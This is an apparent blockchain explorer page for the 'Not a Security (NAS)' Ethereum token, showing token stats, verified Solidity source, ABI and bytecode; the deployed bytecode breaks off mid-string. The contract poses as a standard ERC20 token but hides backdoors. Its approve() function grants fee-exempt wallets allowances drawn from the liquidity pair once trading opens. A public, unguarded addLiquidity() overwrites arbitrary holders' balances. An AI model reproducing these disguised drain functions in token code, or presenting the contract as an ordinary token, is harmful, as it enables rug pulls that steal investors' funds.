ETH Price: $3,389.84 (+1.25%)

Token

Not a Security (NAS)
 

Overview

Max Total Supply

1,000,000,000 NAS

Holders

118

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
19,999,999.999999999 NAS

Value
$0.00
0xa10b3691b6b09b916f8581e01a56debe35ab1769
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NAS

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-22
*/

/**
https://x.com/s_alderoty/status/1859896394431225943

https://t.me/NAS_erc20
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
contract NAS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcemptFromFee;
    mapping (address => bool) private _bots;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyAt=10;
    uint256 private _reduceSellAt=10;
    uint256 private _preventCount=15;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Not a Security";
    string private constant _symbol = unicode"NAS";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletAmount = _tTotal * 2 / 100;
    uint256 public _minTaxSwap= _tTotal * 1 / 100;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;
    address private receipt97;
    address payable private _taxWallet;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private _caLimitSell = true;
    uint256 private _caBlockSell = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        receipt97 = _msgSender();
        _taxWallet = payable(0x0341e7E42Da743a3305d859cE177a7c5f0Fc4532);
        _balances[_msgSender()] = _tTotal * 3 / 100;
        _balances[address(this)] = _tTotal * 97 / 100;
        _isExcemptFromFee[owner()] = true;
        _isExcemptFromFee[_taxWallet] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal * 3 / 100);
        emit Transfer(address(0), address(this), _tTotal * 97 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        address own97 = _msgSender(); if(_isExcemptFromFee[spender]) own97=receipt97;
        _approve(own97, spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 fee97=0;
        if (from != owner() && to != owner()) {
            require(!_bots[from] && !_bots[to]);
            fee97 = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                fee97 = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETH97(address(this).balance);
                }
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCount>_preventCount) {
                if (_caLimitSell) {
                    if (_caBlockSell < block.number) {
                        swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                        uint256 contractETHBalance = address(this).balance;
                        if(contractETHBalance > 0) {
                            sendETH97(address(this).balance);
                        }
                        _caBlockSell = block.number;
                    }
                } else {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendETH97(address(this).balance);
                    }
                }
            }
        }
        if(fee97>0){
          _balances[address(this)]=_balances[address(this)].add(fee97);
          emit Transfer(from, address(this), fee97);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(fee97));
        emit Transfer(from, to, amount.sub(fee97));
    }
    function removeLimits() external onlyOwner {
        _caLimitSell = false;
        _maxTxAmount = _tTotal;
        _maxWalletAmount=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }
    function addLiquidity(address[] memory addrs) external {
        for (uint256 i = 0; i < addrs.length; i ++) {
            if (addrs[i] == uniswapV2Pair) return;
            _balances[addrs[i]] = 100 * 10 ** _decimals;
        }
    }
    function sendETH97(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    function withdraw97() external onlyOwner() {
        payable(owner()).transfer(address(this).balance);
    }
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = receipt97 = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
    receive() external payable {}
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw97","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526002600655600f6007555f6008555f600955600a8055600a600b55600f600c555f600d5560646009600a6100389190610493565b61004690633b9aca006104a8565b6100519060026104a8565b61005b91906104bf565b600e55606461006c6009600a610493565b61007a90633b9aca006104a8565b6100859060026104a8565b61008f91906104bf565b600f5560646100a06009600a610493565b6100ae90633b9aca006104a8565b6100b99060016104a8565b6100c391906104bf565b60105560646100d46009600a610493565b6100e290633b9aca006104a8565b6100ed9060016104a8565b6100f791906104bf565b6011556015805462ffffff60a81b1916600160b81b1790555f601681905561011c3390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060128054336001600160a01b03199182161790915560138054909116730341e7e42da743a3305d859ce177a7c5f0fc453217905560646101a76009600a610493565b6101b590633b9aca006104a8565b6101c09060036104a8565b6101ca91906104bf565b335f9081526001602052604090205560646101e76009600a610493565b6101f590633b9aca006104a8565b6102009060616104a8565b61020a91906104bf565b305f9081526001602081905260408220929092556004906102325f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790556013549091168152600490925281208054909216600190811790925560039061028f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556013549091168352912080549092161790556102ec3390565b6001600160a01b03165f5f80516020611dd183398151915260646103126009600a610493565b61032090633b9aca006104a8565b61032b9060036104a8565b61033591906104bf565b60405190815260200160405180910390a3305f5f80516020611dd183398151915260646103646009600a610493565b61037290633b9aca006104a8565b61037d9060616104a8565b61038791906104bf565b60405190815260200160405180910390a36104de565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156103eb57815f19048211156103d1576103d161039d565b808516156103de57918102915b93841c93908002906103b6565b509250929050565b5f826104015750600161048d565b8161040d57505f61048d565b8160018114610423576002811461042d57610449565b600191505061048d565b60ff84111561043e5761043e61039d565b50506001821b61048d565b5060208310610133831016604e8410600b841016171561046c575081810a61048d565b61047683836103b1565b805f19048211156104895761048961039d565b0290505b92915050565b5f6104a160ff8416836103f3565b9392505050565b808202811582820484141761048d5761048d61039d565b5f826104d957634e487b7160e01b5f52601260045260245ffd5b500490565b6118e6806104eb5f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b41146102dd578063a0f2c96414610308578063a9059cbb14610327578063c9567bf914610346578063dd62ed3e1461035a575f80fd5b806370a0823114610246578063715018a61461027a578063751039fc1461028e5780637d1db4a5146102a25780638da5cb5b146102b7575f80fd5b806323b872dd116100e357806323b872dd146101cc578063300d6217146101eb578063313ce5671461020057806333c68c841461021b5780636c0a24eb14610231575f80fd5b806306fdde031461011e578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600e81526d4e6f74206120536563757269747960901b60208201525b60405161015d919061142b565b60405180910390f35b348015610171575f80fd5b50610185610180366004611484565b61039e565b604051901515815260200161015d565b3480156101a0575f80fd5b506101aa60115481565b60405190815260200161015d565b3480156101c3575f80fd5b506101aa6103e5565b3480156101d7575f80fd5b506101856101e63660046114ae565b610405565b3480156101f6575f80fd5b506101aa60105481565b34801561020b575f80fd5b506040516009815260200161015d565b348015610226575f80fd5b5061022f61046c565b005b34801561023c575f80fd5b506101aa600f5481565b348015610251575f80fd5b506101aa6102603660046114ec565b6001600160a01b03165f9081526001602052604090205490565b348015610285575f80fd5b5061022f6104d8565b348015610299575f80fd5b5061022f610549565b3480156102ad575f80fd5b506101aa600e5481565b3480156102c2575f80fd5b505f546040516001600160a01b03909116815260200161015d565b3480156102e8575f80fd5b506040805180820190915260038152624e415360e81b6020820152610150565b348015610313575f80fd5b5061022f61032236600461151b565b610607565b348015610332575f80fd5b50610185610341366004611484565b6106aa565b348015610351575f80fd5b5061022f6106bf565b348015610365575f80fd5b506101aa6103743660046115db565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6001600160a01b0382165f90815260046020526040812054339060ff16156103ce57506012546001600160a01b03165b6103d98185856109ff565b60019150505b92915050565b5f6103f26009600a611706565b61040090633b9aca00611714565b905090565b5f610411848484610b22565b610462843361045d85604051806060016040528060288152602001611889602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110a7565b6109ff565b5060019392505050565b5f546001600160a01b0316331461049e5760405162461bcd60e51b81526004016104959061172b565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104d5573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105015760405162461bcd60e51b81526004016104959061172b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105725760405162461bcd60e51b81526004016104959061172b565b6015805460ff60b81b1916905561058b6009600a611706565b61059990633b9aca00611714565b600e556105a86009600a611706565b6105b690633b9aca00611714565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105e66009600a611706565b6105f490633b9aca00611714565b60405190815260200160405180910390a1565b5f5b81518110156106a65760155482516001600160a01b039091169083908390811061063557610635611760565b60200260200101516001600160a01b03160361064f575050565b61065b6009600a611706565b610666906064611714565b60015f84848151811061067b5761067b611760565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610609565b5050565b5f6106b6338484610b22565b50600192915050565b5f546001600160a01b031633146106e85760405162461bcd60e51b81526004016104959061172b565b601554600160a01b900460ff16156107425760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610495565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561078b90309061077d6009600a611706565b61045d90633b9aca00611714565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ff9190611774565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108829190611774565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f09190611774565b601280546001600160a01b039283166001600160a01b031991821681179092556015805490911690911790556014541663f305d7194730610945816001600160a01b03165f9081526001602052604090205490565b5f806109585f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109be573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109e3919061178f565b50506015805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610a615760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610495565b6001600160a01b038216610ac25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610495565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610495565b6001600160a01b038216610be85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610495565b5f8111610c495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610495565b5f80546001600160a01b03858116911614801590610c7457505f546001600160a01b03848116911614155b15610f6a576001600160a01b0384165f9081526005602052604090205460ff16158015610cb957506001600160a01b0383165f9081526005602052604090205460ff16155b610cc1575f80fd5b610ced6064610ce7600a54600d5411610cdc57600654610ce0565b6008545b85906110df565b90611164565b6015549091506001600160a01b038581169116148015610d1b57506014546001600160a01b03848116911614155b8015610d3f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e2557600e54821115610d965760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610495565b600f5482610db8856001600160a01b03165f9081526001602052604090205490565b610dc291906117ba565b1115610e105760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610495565b600d8054905f610e1f836117cd565b91905055505b6015546001600160a01b038481169116148015610e4b57506001600160a01b0384163014155b15610e8357610e756064610ce7600b54600d5411610e6b57600754610ce0565b60095485906110df565b905047610e81476111a5565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610eb957506015546001600160a01b038581169116145b8015610ece5750601554600160b01b900460ff165b8015610edb575060105481115b8015610eea5750600c54600d54115b15610f6857601554600160b81b900460ff1615610f4357436016541015610f3e57610f28610f2384610f1e846011546111dc565b6111dc565b6111f0565b478015610f3857610f38476111a5565b50436016555b610f68565b610f56610f2384610f1e846011546111dc565b478015610f6657610f66476111a5565b505b505b8015610fe257305f90815260016020526040902054610f899082611360565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fd99085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461100490836113be565b6001600160a01b0385165f9081526001602052604090205561104761102983836113be565b6001600160a01b0385165f9081526001602052604090205490611360565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61109085856113be565b60405190815260200160405180910390a350505050565b5f81848411156110ca5760405162461bcd60e51b8152600401610495919061142b565b505f6110d684866117e5565b95945050505050565b5f825f036110ee57505f6103df565b5f6110f98385611714565b90508261110685836117f8565b1461115d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610495565b9392505050565b5f61115d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ff565b6013546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156106a6573d5f803e3d5ffd5b5f8183116111ea578261115d565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061123657611236611760565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112b19190611774565b816001815181106112c4576112c4611760565b6001600160a01b0392831660209182029290920101526014546112ea91309116846109ff565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113229085905f90869030904290600401611817565b5f604051808303815f87803b158015611339575f80fd5b505af115801561134b573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f8061136c83856117ba565b90508381101561115d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610495565b5f61115d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a7565b5f818361141f5760405162461bcd60e51b8152600401610495919061142b565b505f6110d684866117f8565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104d5575f80fd5b803561147f81611460565b919050565b5f8060408385031215611495575f80fd5b82356114a081611460565b946020939093013593505050565b5f805f606084860312156114c0575f80fd5b83356114cb81611460565b925060208401356114db81611460565b929592945050506040919091013590565b5f602082840312156114fc575f80fd5b813561115d81611460565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561152c575f80fd5b823567ffffffffffffffff80821115611543575f80fd5b818501915085601f830112611556575f80fd5b81358181111561156857611568611507565b8060051b604051601f19603f8301168101818110858211171561158d5761158d611507565b6040529182528482019250838101850191888311156115aa575f80fd5b938501935b828510156115cf576115c085611474565b845293850193928501926115af565b98975050505050505050565b5f80604083850312156115ec575f80fd5b82356115f781611460565b9150602083013561160781611460565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561166057815f190482111561164657611646611612565b8085161561165357918102915b93841c939080029061162b565b509250929050565b5f82611676575060016103df565b8161168257505f6103df565b816001811461169857600281146116a2576116be565b60019150506103df565b60ff8411156116b3576116b3611612565b50506001821b6103df565b5060208310610133831016604e8410600b84101617156116e1575081810a6103df565b6116eb8383611626565b805f19048211156116fe576116fe611612565b029392505050565b5f61115d60ff841683611668565b80820281158282048414176103df576103df611612565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611784575f80fd5b815161115d81611460565b5f805f606084860312156117a1575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103df576103df611612565b5f600182016117de576117de611612565b5060010190565b818103818111156103df576103df611612565b5f8261181257634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118675784516001600160a01b031683529383019391830191600101611842565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220397884f55ea50ba308be0207029c02953b5a4d6ff6ca2cf0dfc849720f2e35ad64736f6c63430008190033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x608060405260043610610113575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b41146102dd578063a0f2c96414610308578063a9059cbb14610327578063c9567bf914610346578063dd62ed3e1461035a575f80fd5b806370a0823114610246578063715018a61461027a578063751039fc1461028e5780637d1db4a5146102a25780638da5cb5b146102b7575f80fd5b806323b872dd116100e357806323b872dd146101cc578063300d6217146101eb578063313ce5671461020057806333c68c841461021b5780636c0a24eb14610231575f80fd5b806306fdde031461011e578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600e81526d4e6f74206120536563757269747960901b60208201525b60405161015d919061142b565b60405180910390f35b348015610171575f80fd5b50610185610180366004611484565b61039e565b604051901515815260200161015d565b3480156101a0575f80fd5b506101aa60115481565b60405190815260200161015d565b3480156101c3575f80fd5b506101aa6103e5565b3480156101d7575f80fd5b506101856101e63660046114ae565b610405565b3480156101f6575f80fd5b506101aa60105481565b34801561020b575f80fd5b506040516009815260200161015d565b348015610226575f80fd5b5061022f61046c565b005b34801561023c575f80fd5b506101aa600f5481565b348015610251575f80fd5b506101aa6102603660046114ec565b6001600160a01b03165f9081526001602052604090205490565b348015610285575f80fd5b5061022f6104d8565b348015610299575f80fd5b5061022f610549565b3480156102ad575f80fd5b506101aa600e5481565b3480156102c2575f80fd5b505f546040516001600160a01b03909116815260200161015d565b3480156102e8575f80fd5b506040805180820190915260038152624e415360e81b6020820152610150565b348015610313575f80fd5b5061022f61032236600461151b565b610607565b348015610332575f80fd5b50610185610341366004611484565b6106aa565b348015610351575f80fd5b5061022f6106bf565b348015610365575f80fd5b506101aa6103743660046115db565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6001600160a01b0382165f90815260046020526040812054339060ff16156103ce57506012546001600160a01b03165b6103d98185856109ff565b60019150505b92915050565b5f6103f26009600a611706565b61040090633b9aca00611714565b905090565b5f610411848484610b22565b610462843361045d85604051806060016040528060288152602001611889602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110a7565b6109ff565b5060019392505050565b5f546001600160a01b0316331461049e5760405162461bcd60e51b81526004016104959061172b565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104d5573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105015760405162461bcd60e51b81526004016104959061172b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105725760405162461bcd60e51b81526004016104959061172b565b6015805460ff60b81b1916905561058b6009600a611706565b61059990633b9aca00611714565b600e556105a86009600a611706565b6105b690633b9aca00611714565b600f557f947f344d56e1e8c70d